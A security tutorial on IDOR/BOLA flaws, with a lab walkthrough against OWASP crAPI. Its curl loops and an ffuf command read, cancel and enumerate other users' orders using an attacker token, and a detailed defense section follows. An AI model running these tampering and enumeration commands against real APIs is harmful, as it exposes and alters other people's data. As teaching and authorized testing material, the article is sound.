Disclaimer: This article is for education and authorized security testing only. Test exclusively against systems you own or have explicit written permission to assess. Unauthorized access to data or systems is illegal in most jurisdictions (e.g., the US CFAA, the UK Computer Misuse Act). The author assumes no liability for misuse.
Introduction
Insecure Direct Object Reference (IDOR) is consistently one of the highest-impact, lowest-complexity bugs in web and API security. It sits at the heart of OWASP API Security's API1:2023 — Broken Object Level Authorization (BOLA) and the broader A01:2021 — Broken Access Control in the OWASP Top 10. The core idea is simple: an application exposes a reference to an internal object (a database row, a file, a user account) and trusts that reference without verifying that the current user is actually authorized to access that object.
In this article you'll learn how to spot insecure object references, how parameter tampering turns a normal request into an authorization bypass, how BOLA generalizes the problem to APIs, and how enumeration scales a single bug into a full data breach. We'll then weigh defenses with equal seriousness, because finding IDOR is easy — fixing it correctly is where teams stumble.
How It Works
A direct object reference is any identifier the client supplies that the server uses to fetch a specific resource. The classic example:
GET /api/v1/invoices/1042 HTTP/1.1
Authorization: Bearer eyJhbGci...PlaintextThe server authenticates the bearer token (you are a valid user — authentication passes), then loads invoice 1042 and returns it. The vulnerability appears when the server never checks whether invoice 1042 belongs to you (authorization is missing). Change 1042 to 1043 and you read someone else's invoice.
The reference itself can be:
- Sequential integers (
/users/5) — trivially enumerable. - UUIDs / GUIDs — harder to guess, but often leaked elsewhere (lists, search, error messages), so they only provide weak "security through obscurity."
- Filenames or paths (
?file=report_2026.pdf) — overlaps with path traversal. - Indirect-looking but predictable hashes (e.g.,
md5(user_id)), which are reversible once the scheme is known.
BOLA is the API-era name for the same flaw. APIs expose object IDs everywhere — in paths, query strings, JSON bodies, and headers — so the attack surface is larger and the missing-check pattern is repeated across dozens of endpoints. A team might fix GET /orders/{id} but forget DELETE /orders/{id} or PATCH /orders/{id}/notes.
Prerequisites / Lab Setup
To practice legally, use an intentionally vulnerable target. OWASP crAPI (completely ridiculous API) and VAmPI are purpose-built for BOLA practice.
# Spin up OWASP crAPI locally
git clone https://github.com/OWASP/crAPI.git
cd crAPI/deploy/docker
docker compose pull
docker compose -f docker-compose.yml --compatibility up -d
# Web UI on http://localhost:8888, API gateway on :8888/identity, :8888/workshop, etc.BashTooling you'll use:
- Burp Suite (Community or Pro) as an intercepting proxy.
- ffuf or Burp Intruder for enumeration.
- jq and curl for scripted API testing.
- Autorize (Burp extension) to automate "does low-priv user see high-priv data" checks.
Create two accounts (attacker@test.local and victim@test.local). The whole methodology hinges on holding attacker credentials and trying to reach victim objects.
Attack Walkthrough / PoC
Step 1 — Map object references
Browse the app as the attacker with Burp running. In the Proxy > HTTP history, look for any request carrying an identifier you control. Filter for numeric IDs and likely keys:
GET /workshop/api/shop/orders/12 <-- order id
GET /identity/api/v2/user/dashboard <-- returns your own profile
POST /workshop/api/merchant/contact_mechanicPlaintextStep 2 — Parameter tampering
Take your own order and send it to Burp Repeater. Decrement or increment the ID:
GET /workshop/api/shop/orders/11 HTTP/1.1
Host: localhost:8888
Authorization: Bearer <ATTACKER_JWT>HTTPIf the response returns an order you never placed (different user_id, different shipping address), you have a confirmed IDOR. Replicate it with curl for your report:
ATT_JWT="eyJhbGci...attacker..."
for id in 9 10 11 12 13; do
echo "=== order $id ==="
curl -s "http://localhost:8888/workshop/api/shop/orders/$id" \
-H "Authorization: Bearer $ATT_JWT" | jq '{id, user, status, total}'
doneBashStep 3 — Check every HTTP method
A read may be locked down while writes are not. Probe the full verb set on the same object:
for m in GET PUT PATCH DELETE; do
echo "== $m =="
curl -s -o /dev/null -w "%{http_code}\n" -X "$m" \
"http://localhost:8888/workshop/api/shop/orders/11" \
-H "Authorization: Bearer $ATT_JWT" \
-H "Content-Type: application/json" -d '{"status":"cancelled"}'
doneBashStep 4 — Enumeration at scale
Once one ID leaks, automate harvesting across the ID space with ffuf, replacing the ID with FUZZ:
ffuf -u "http://localhost:8888/workshop/api/shop/orders/FUZZ" \
-H "Authorization: Bearer $ATT_JWT" \
-w <(seq 1 5000) \
-mc 200 -fr "Order not found" \
-o idor_orders.json -of jsonBash-mc 200 keeps successful hits; -fr filters the "not found" body so only valid, accessible objects remain. For UUID-based references, enumeration shifts to harvesting IDs from other endpoints (search results, Location headers, GraphQL introspection) rather than guessing.
Step 5 — Automated authorization testing
Manually toggling tokens is slow. Autorize replays every request the attacker makes with the victim's (or no) session and flags mismatches. Configure it with the low-privilege token, browse normally, and watch for green "Bypassed!" rows — each is a candidate IDOR. This is the fastest way to sweep a large API surface during an engagement.
Attack Flow Diagram

The diagram shows authentication succeeding while the object-level authorization check is absent, letting an authenticated attacker enumerate and read records belonging to other users.
Detection & Defense (Blue Team)
Defending against IDOR/BOLA is an authorization architecture problem, not a patch you bolt on. Address it at multiple layers.
1. Enforce object-level authorization on every request. Never trust a client-supplied ID. Scope queries to the authenticated principal at the data layer:
-- Bad: trusts the ID alone
SELECT * FROM orders WHERE id = :id;
-- Good: ownership is part of the query
SELECT * FROM orders WHERE id = :id AND user_id = :current_user_id;SQLCentralize this with a policy layer (e.g., a can(user, action, resource) check, or a framework guard like Rails Pundit/CanCanCan, Django object permissions, or OPA/Rego) so authorization isn't re-implemented — and forgotten — per endpoint.
2. Use unpredictable references, but treat them as defense-in-depth only. Random UUIDv4 keys raise the bar for blind enumeration; they do not replace an ownership check, because IDs leak.
3. Prefer indirect references. Map per-session/per-user opaque tokens to real IDs server-side so the actual primary key never reaches the client.
4. Detection via logging and rate analysis. IDOR enumeration produces a recognizable signature: one principal touching many distinct object IDs, and a spike in 403/404 responses. Hunt for it:
# Find tokens/users hitting many distinct order IDs in access logs
awk '$7 ~ /\/orders\/[0-9]+/ {print $1, $7}' access.log \
| sort -u | awk '{print $1}' | sort | uniq -c | sort -rn | headBashIn a SIEM, alert when a single session's distinct accessed object count or 403/404 rate exceeds a baseline. Map detections to MITRE ATT&CK T1190 (Exploit Public-Facing Application) and watch for the data-collection follow-on.
5. Defense in depth at the edge. Per-user rate limiting and WAF rules throttle bulk enumeration even if a logic bug exists. They are mitigations, not fixes.
6. Shift-left testing. Add authorization tests to CI that assert user A cannot read user B's object for every resource. Run Autorize or contract-based BOLA tests against staging in the pipeline.
For more on chaining web access-control bugs, see Exploiting JWT Authentication Flaws, GraphQL API Penetration Testing, and Mass Assignment and Excessive Data Exposure.
Conclusion
IDOR and BOLA persist because authentication is easy to get right and authorization is easy to get wrong. The exploit pattern is always the same — find a client-controlled object reference, perform parameter tampering, confirm the missing check, then enumerate to scale impact. The fix is equally consistent: enforce ownership at the data layer, on every verb and every endpoint, and verify it continuously with automated tests. Obscure IDs and rate limits help, but they only buy time. If you remember one thing: authentication tells you who you are; authorization decides what you're allowed to touch — never skip the second question.
References
- OWASP API Security Top 10 — API1:2023 Broken Object Level Authorization: https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/
- OWASP Top 10 — A01:2021 Broken Access Control: https://owasp.org/Top10/A01_2021-Broken_Access_Control/
- OWASP WSTG — Testing for IDOR: https://owasp.org/www-project-web-security-testing-guide/
- MITRE ATT&CK — T1190 Exploit Public-Facing Application: https://attack.mitre.org/techniques/T1190/
- HackTricks — IDOR: https://book.hacktricks.xyz/pentesting-web/idor
- OWASP crAPI: https://github.com/OWASP/crAPI
- PortSwigger Web Security Academy — Access control vulnerabilities: https://portswigger.net/web-security/access-control



Comments